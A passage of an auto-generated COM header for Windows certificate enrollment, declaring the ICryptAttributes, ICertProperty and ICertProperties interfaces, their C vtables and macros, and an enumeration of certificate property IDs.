ICryptAttributes : public IDispatch\n    {\n    public:\n        virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_ItemByIndex( \n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt ICryptAttribute **pVal) = 0;\n        \n        virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ __RPC__out long *pVal) = 0;\n        \n        virtual /* [restricted][helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Add( \n            /* [in] */ __RPC__in_opt ICryptAttribute *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Remove( \n            /* [in] */ LONG Index) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Clear( void) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_IndexByObjectId( \n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [retval][out] */ __RPC__out LONG *pIndex) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE AddRange( \n            /* [in] */ __RPC__in_opt ICryptAttributes *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICryptAttributesVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICryptAttributes * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICryptAttributes * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICryptAttributes * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICryptAttributes * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICryptAttributes * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICryptAttributes * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICryptAttributes * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByIndex )( \n            __RPC__in ICryptAttributes * This,\n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt ICryptAttribute **pVal);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            __RPC__in ICryptAttributes * This,\n            /* [retval][out] */ __RPC__out long *pVal);\n        \n        /* [restricted][helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            __RPC__in ICryptAttributes * This,\n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Add )( \n            __RPC__in ICryptAttributes * This,\n            /* [in] */ __RPC__in_opt ICryptAttribute *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Remove )( \n            __RPC__in ICryptAttributes * This,\n            /* [in] */ LONG Index);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Clear )( \n            __RPC__in ICryptAttributes * This);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_IndexByObjectId )( \n            __RPC__in ICryptAttributes * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [retval][out] */ __RPC__out LONG *pIndex);\n        \n        HRESULT ( STDMETHODCALLTYPE *AddRange )( \n            __RPC__in ICryptAttributes * This,\n            /* [in] */ __RPC__in_opt ICryptAttributes *pValue);\n        \n        END_INTERFACE\n    } ICryptAttributesVtbl;\n\n    interface ICryptAttributes\n    {\n        CONST_VTBL struct ICryptAttributesVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICryptAttributes_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICryptAttributes_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICryptAttributes_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICryptAttributes_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICryptAttributes_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICryptAttributes_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICryptAttributes_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICryptAttributes_get_ItemByIndex(This,Index,pVal)\t\\\n    ( (This)->lpVtbl -> get_ItemByIndex(This,Index,pVal) ) \n\n#define ICryptAttributes_get_Count(This,pVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pVal) ) \n\n#define ICryptAttributes_get__NewEnum(This,pVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pVal) ) \n\n#define ICryptAttributes_Add(This,pVal)\t\\\n    ( (This)->lpVtbl -> Add(This,pVal) ) \n\n#define ICryptAttributes_Remove(This,Index)\t\\\n    ( (This)->lpVtbl -> Remove(This,Index) ) \n\n#define ICryptAttributes_Clear(This)\t\\\n    ( (This)->lpVtbl -> Clear(This) ) \n\n#define ICryptAttributes_get_IndexByObjectId(This,pObjectId,pIndex)\t\\\n    ( (This)->lpVtbl -> get_IndexByObjectId(This,pObjectId,pIndex) ) \n\n#define ICryptAttributes_AddRange(This,pValue)\t\\\n    ( (This)->lpVtbl -> AddRange(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICryptAttributes_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0048 */\n/* [local] */ \n\ntypedef \nenum CERTENROLL_PROPERTYID\n    {\n        XCN_PROPERTYID_NONE\t= 0,\n        XCN_CERT_KEY_PROV_HANDLE_PROP_ID\t= 1,\n        XCN_CERT_KEY_PROV_INFO_PROP_ID\t= 2,\n        XCN_CERT_SHA1_HASH_PROP_ID\t= 3,\n        XCN_CERT_MD5_HASH_PROP_ID\t= 4,\n        XCN_CERT_HASH_PROP_ID\t= 3,\n        XCN_CERT_KEY_CONTEXT_PROP_ID\t= 5,\n        XCN_CERT_KEY_SPEC_PROP_ID\t= 6,\n        XCN_CERT_IE30_RESERVED_PROP_ID\t= 7,\n        XCN_CERT_PUBKEY_HASH_RESERVED_PROP_ID\t= 8,\n        XCN_CERT_ENHKEY_USAGE_PROP_ID\t= 9,\n        XCN_CERT_CTL_USAGE_PROP_ID\t= 9,\n        XCN_CERT_NEXT_UPDATE_LOCATION_PROP_ID\t= 10,\n        XCN_CERT_FRIENDLY_NAME_PROP_ID\t= 11,\n        XCN_CERT_PVK_FILE_PROP_ID\t= 12,\n        XCN_CERT_DESCRIPTION_PROP_ID\t= 13,\n        XCN_CERT_ACCESS_STATE_PROP_ID\t= 14,\n        XCN_CERT_SIGNATURE_HASH_PROP_ID\t= 15,\n        XCN_CERT_SMART_CARD_DATA_PROP_ID\t= 16,\n        XCN_CERT_EFS_PROP_ID\t= 17,\n        XCN_CERT_FORTEZZA_DATA_PROP_ID\t= 18,\n        XCN_CERT_ARCHIVED_PROP_ID\t= 19,\n        XCN_CERT_KEY_IDENTIFIER_PROP_ID\t= 20,\n        XCN_CERT_AUTO_ENROLL_PROP_ID\t= 21,\n        XCN_CERT_PUBKEY_ALG_PARA_PROP_ID\t= 22,\n        XCN_CERT_CROSS_CERT_DIST_POINTS_PROP_ID\t= 23,\n        XCN_CERT_ISSUER_PUBLIC_KEY_MD5_HASH_PROP_ID\t= 24,\n        XCN_CERT_SUBJECT_PUBLIC_KEY_MD5_HASH_PROP_ID\t= 25,\n        XCN_CERT_ENROLLMENT_PROP_ID\t= 26,\n        XCN_CERT_DATE_STAMP_PROP_ID\t= 27,\n        XCN_CERT_ISSUER_SERIAL_NUMBER_MD5_HASH_PROP_ID\t= 28,\n        XCN_CERT_SUBJECT_NAME_MD5_HASH_PROP_ID\t= 29,\n        XCN_CERT_EXTENDED_ERROR_INFO_PROP_ID\t= 30,\n        XCN_CERT_RENEWAL_PROP_ID\t= 64,\n        XCN_CERT_ARCHIVED_KEY_HASH_PROP_ID\t= 65,\n        XCN_CERT_AUTO_ENROLL_RETRY_PROP_ID\t= 66,\n        XCN_CERT_AIA_URL_RETRIEVED_PROP_ID\t= 67,\n        XCN_CERT_AUTHORITY_INFO_ACCESS_PROP_ID\t= 68,\n        XCN_CERT_BACKED_UP_PROP_ID\t= 69,\n        XCN_CERT_OCSP_RESPONSE_PROP_ID\t= 70,\n        XCN_CERT_REQUEST_ORIGINATOR_PROP_ID\t= 71,\n        XCN_CERT_SOURCE_LOCATION_PROP_ID\t= 72,\n        XCN_CERT_SOURCE_URL_PROP_ID\t= 73,\n        XCN_CERT_NEW_KEY_PROP_ID\t= 74,\n        XCN_CERT_OCSP_CACHE_PREFIX_PROP_ID\t= 75,\n        XCN_CERT_SMART_CARD_ROOT_INFO_PROP_ID\t= 76,\n        XCN_CERT_NO_AUTO_EXPIRE_CHECK_PROP_ID\t= 77,\n        XCN_CERT_NCRYPT_KEY_HANDLE_PROP_ID\t= 78,\n        XCN_CERT_HCRYPTPROV_OR_NCRYPT_KEY_HANDLE_PROP_ID\t= 79,\n        XCN_CERT_SUBJECT_INFO_ACCESS_PROP_ID\t= 80,\n        XCN_CERT_CA_OCSP_AUTHORITY_INFO_ACCESS_PROP_ID\t= 81,\n        XCN_CERT_CA_DISABLE_CRL_PROP_ID\t= 82,\n        XCN_CERT_ROOT_PROGRAM_CERT_POLICIES_PROP_ID\t= 83,\n        XCN_CERT_ROOT_PROGRAM_NAME_CONSTRAINTS_PROP_ID\t= 84,\n        XCN_CERT_SUBJECT_OCSP_AUTHORITY_INFO_ACCESS_PROP_ID\t= 85,\n        XCN_CERT_SUBJECT_DISABLE_CRL_PROP_ID\t= 86,\n        XCN_CERT_CEP_PROP_ID\t= 87,\n        XCN_CERT_SIGN_HASH_CNG_ALG_PROP_ID\t= 89,\n        XCN_CERT_SCARD_PIN_ID_PROP_ID\t= 90,\n        XCN_CERT_SCARD_PIN_INFO_PROP_ID\t= 91,\n        XCN_CERT_SUBJECT_PUB_KEY_BIT_LENGTH_PROP_ID\t= 92,\n        XCN_CERT_PUB_KEY_CNG_ALG_BIT_LENGTH_PROP_ID\t= 93,\n        XCN_CERT_ISSUER_PUB_KEY_BIT_LENGTH_PROP_ID\t= 94,\n        XCN_CERT_ISSUER_CHAIN_SIGN_HASH_CNG_ALG_PROP_ID\t= 95,\n        XCN_CERT_ISSUER_CHAIN_PUB_KEY_CNG_ALG_BIT_LENGTH_PROP_ID\t= 96,\n        XCN_CERT_NO_EXPIRE_NOTIFICATION_PROP_ID\t= 97,\n        XCN_CERT_AUTH_ROOT_SHA256_HASH_PROP_ID\t= 98,\n        XCN_CERT_NCRYPT_KEY_HANDLE_TRANSFER_PROP_ID\t= 99,\n        XCN_CERT_HCRYPTPROV_TRANSFER_PROP_ID\t= 100,\n        XCN_CERT_SMART_CARD_READER_PROP_ID\t= 101,\n        XCN_CERT_SEND_AS_TRUSTED_ISSUER_PROP_ID\t= 102,\n        XCN_CERT_KEY_REPAIR_ATTEMPTED_PROP_ID\t= 103,\n        XCN_CERT_DISALLOWED_FILETIME_PROP_ID\t= 104,\n        XCN_CERT_ROOT_PROGRAM_CHAIN_POLICIES_PROP_ID\t= 105,\n        XCN_CERT_SMART_CARD_READER_NON_REMOVABLE_PROP_ID\t= 106,\n        XCN_CERT_SHA256_HASH_PROP_ID\t= 107,\n        XCN_CERT_SCEP_SERVER_CERTS_PROP_ID\t= 108,\n        XCN_CERT_SCEP_RA_SIGNATURE_CERT_PROP_ID\t= 109,\n        XCN_CERT_SCEP_RA_ENCRYPTION_CERT_PROP_ID\t= 110,\n        XCN_CERT_SCEP_CA_CERT_PROP_ID\t= 111,\n        XCN_CERT_SCEP_SIGNER_CERT_PROP_ID\t= 112,\n        XCN_CERT_SCEP_NONCE_PROP_ID\t= 113,\n        XCN_CERT_SCEP_ENCRYPT_HASH_CNG_ALG_PROP_ID\t= 114,\n        XCN_CERT_SCEP_FLAGS_PROP_ID\t= 115,\n        XCN_CERT_SCEP_GUID_PROP_ID\t= 116,\n        XCN_CERT_SERIALIZABLE_KEY_CONTEXT_PROP_ID\t= 117,\n        XCN_CERT_ISOLATED_KEY_PROP_ID\t= 118,\n        XCN_CERT_SERIAL_CHAIN_PROP_ID\t= 119,\n        XCN_CERT_KEY_CLASSIFICATION_PROP_ID\t= 120,\n        XCN_CERT_DISALLOWED_ENHKEY_USAGE_PROP_ID\t= 122,\n        XCN_CERT_NONCOMPLIANT_ROOT_URL_PROP_ID\t= 123,\n        XCN_CERT_PIN_SHA256_HASH_PROP_ID\t= 124,\n        XCN_CERT_CLR_DELETE_KEY_PROP_ID\t= 125,\n        XCN_CERT_NOT_BEFORE_FILETIME_PROP_ID\t= 126,\n        XCN_CERT_CERT_NOT_BEFORE_ENHKEY_USAGE_PROP_ID\t= 127,\n        XCN_CERT_FIRST_RESERVED_PROP_ID\t= 128,\n        XCN_CERT_LAST_RESERVED_PROP_ID\t= 0x7fff,\n        XCN_CERT_FIRST_USER_PROP_ID\t= 0x8000,\n        XCN_CERT_LAST_USER_PROP_ID\t= 0xffff,\n        XCN_CERT_STORE_LOCALIZED_NAME_PROP_ID\t= 0x1000\n    } \tCERTENROLL_PROPERTYID;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0048_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0048_v0_0_s_ifspec;\n\n#ifndef __ICertProperty_INTERFACE_DEFINED__\n#define __ICertProperty_INTERFACE_DEFINED__\n\n/* interface ICertProperty */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertProperty;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab32e-217d-11da-b2a4-000e7bbb2b09\")\n    ICertProperty : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeFromCertificate( \n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_PropertyId( \n            /* [retval][out] */ __RPC__out CERTENROLL_PROPERTYID *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_PropertyId( \n            /* [in] */ CERTENROLL_PROPERTYID Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_RawData( \n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE RemoveFromCertificate( \n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE SetValueOnCertificate( \n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICertPropertyVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertProperty * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertProperty * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertProperty * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertProperty * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertProperty * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertProperty * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertProperty * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in ICertProperty * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in ICertProperty * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PropertyId )( \n            __RPC__in ICertProperty * This,\n            /* [retval][out] */ __RPC__out CERTENROLL_PROPERTYID *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_PropertyId )( \n            __RPC__in ICertProperty * This,\n            /* [in] */ CERTENROLL_PROPERTYID Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in ICertProperty * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *RemoveFromCertificate )( \n            __RPC__in ICertProperty * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *SetValueOnCertificate )( \n            __RPC__in ICertProperty * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        END_INTERFACE\n    } ICertPropertyVtbl;\n\n    interface ICertProperty\n    {\n        CONST_VTBL struct ICertPropertyVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertProperty_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertProperty_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertProperty_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertProperty_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertProperty_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertProperty_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertProperty_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertProperty_InitializeFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertProperty_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define ICertProperty_get_PropertyId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_PropertyId(This,pValue) ) \n\n#define ICertProperty_put_PropertyId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_PropertyId(This,Value) ) \n\n#define ICertProperty_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define ICertProperty_RemoveFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> RemoveFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertProperty_SetValueOnCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> SetValueOnCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertProperty_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICertProperties_INTERFACE_DEFINED__\n#define __ICertProperties_INTERFACE_DEFINED__\n\n/* interface ICertProperties */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertProperties;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab32f-217d-11da-b2a4-000e7bbb2b09\")\n    ICertProperties : public IDispatch\n    {\n    public:\n        virtual /* [helpstring][id][propget][custom] */ HRESULT STDMETHODCALLTYPE get_ItemByIndex( \n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt ICertProperty **pVal) = 0;\n        \n        virtual /* [helpstring][id][propget][custom] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ __RPC__out long *pVal) = 0;\n        \n        virtual /* [restricted][helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal) = 0;\n        \n        virtual /* [helpstring][id][custom] */ HRESULT STDMETHODCALLTYPE Add( \n            /* [in] */ __RPC__in_opt ICertProperty *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Remove( \n            /* [in] */ LONG Index) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Clear( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeFromCertificate( \n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICertPropertiesVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertProperties * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertProperties * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertProperties * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertProperties * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertProperties * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertProperties * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertProperties * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [helpstring][id][propget][custom] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByIndex )( \n            __RPC__in ICertProperties * This,\n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt ICertProperty **pVal);\n        \n        /* [helpstring][id][propget][custom] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            __RPC__in ICertProperties * This,\n            /* [retval][out] */ __RPC__out long *pVal);\n        \n        /* [restricted][helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            __RPC__in ICertProperties * This,\n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal);\n        \n        /* [helpstring][id][custom] */ HRESULT ( STDMETHODCALLTYPE *Add )( \n            __RPC__in ICertProperties * This,\n            /* [in] */ __RPC__in_opt ICertProperty *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Remove )( \n            __RPC__in ICertProperties * This,\n            /* [in] */ LONG Index);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Clear )( \n            __RPC__in ICertProperties * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in ICertProperties * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        END_INTERFACE\n    } ICertPropertiesVtbl;\n\n    interface ICertProperties\n    {\n        CONST_VTBL struct ICertPropertiesVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertProperties_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertProperties_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertProperties_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertProperties_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertProperties_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertProperties_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define 